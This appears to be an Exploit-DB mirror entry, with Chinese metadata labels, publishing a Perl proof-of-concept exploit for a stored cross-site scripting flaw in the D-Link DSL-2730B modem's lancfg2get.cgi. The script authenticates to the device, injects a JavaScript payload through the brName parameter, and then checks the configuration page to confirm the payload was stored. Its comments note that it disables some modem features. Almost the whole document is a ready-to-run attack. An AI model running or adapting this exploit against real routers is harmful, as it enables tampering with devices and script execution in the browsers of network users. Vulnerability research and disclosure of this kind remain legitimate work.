D-Link DSL-2730B Modem – ‘Lancfg2get.cgi Persistent Cross-Site Scripting

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• 作者： XLabs Security
  日期： 2015-01-11
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/35751/

• # Exploit Title: D-Link DSL-2730B Modem lancfg2get.cgi Exploit XSS Injection Stored
  # Date: 11-01-2015
  # Exploit Author: Mauricio Correa
  # Vendor Homepage: www.dlink.com
  # Hardware version: C1
  # Version: GE 1.01
  # Tested on: Windows 8 and Linux
   
  
  #!/usr/bin/perl
  #
  # Date dd-mm-aaaa: 11-11-2014
  # Exploit for D-Link DSL-2730B
  # Cross Site Scripting (XSS Injection) Stored in lancfg2get.cgi
  # Developed by Mauricio Corrêa
  # XLabs Information Security
  # WebSite: www.xlabs.com.br
  # More informations: www.xlabs.com.br/blog/?p=339
  #
  # CAUTION!
  # This exploit disables some features of the modem,
  # forcing the administrator of the device, accessing the page to reconfigure the modem again,
  # occurring script execution in the browser of internal network users.
  #
  # Use with caution!
  # Use at your own risk!
  #
  
  
  use strict;
  use warnings;
  use diagnostics;
  use LWP::UserAgent;
  use HTTP::Request;
  use URI::Escape;
  
  my $ip = $ARGV[0];
  my $user = $ARGV[1];
  my $pass = $ARGV[2];
   
  $ip = $1 if($ip=~/(.*)\/$/);
  
   if (@ARGV != 3){
  
   print "\n";
   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in lancfg2get.cgi\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";
   }else{
   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in lancfg2get.cgi\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "[+] Exploring $ip\/ ...\n";
   
   my $payload = "%27;alert(%27XLabsSec%27);\/\/";
   
   my $ua = new LWP::UserAgent;
   my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );
  
   $hdrs->authorization_basic($user, $pass);
   
   chomp($ip);
   
   print "[+] Preparing exploit...\n";
  
   my $url_and_xpl = "$ip/lancfg2get.cgi?brName=$payload";
   
   my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);
  
   print "[+] Prepared!\n";
  
   print "[+] Requesting and Exploiting...\n";
   
   my $resp = $ua->request($req);
  
   if ($resp->is_success){
  
   print "[+] Successfully Requested!\n";
   
   
   my $url = "$ip/lancfg2.html";
  
   $req = new HTTP::Request("GET",$url,$hdrs);
  
   print "[+] Checking that was explored...\n";
   
  
   my $resp2 = $ua->request($req);
  
  
   if ($resp2->is_success){
  
   my $resultado = $resp2->as_string;
   
   if(index($resultado, uri_unescape($payload)) != -1){
  
  print "[+] Successfully Exploited!";
  
  }else{
  
  print "[-] Not Exploited!";
   
  }
   }
   
   }else {
  
   print "[-] Ops!\n";
   print $resp->message;
   }
  
  }
  

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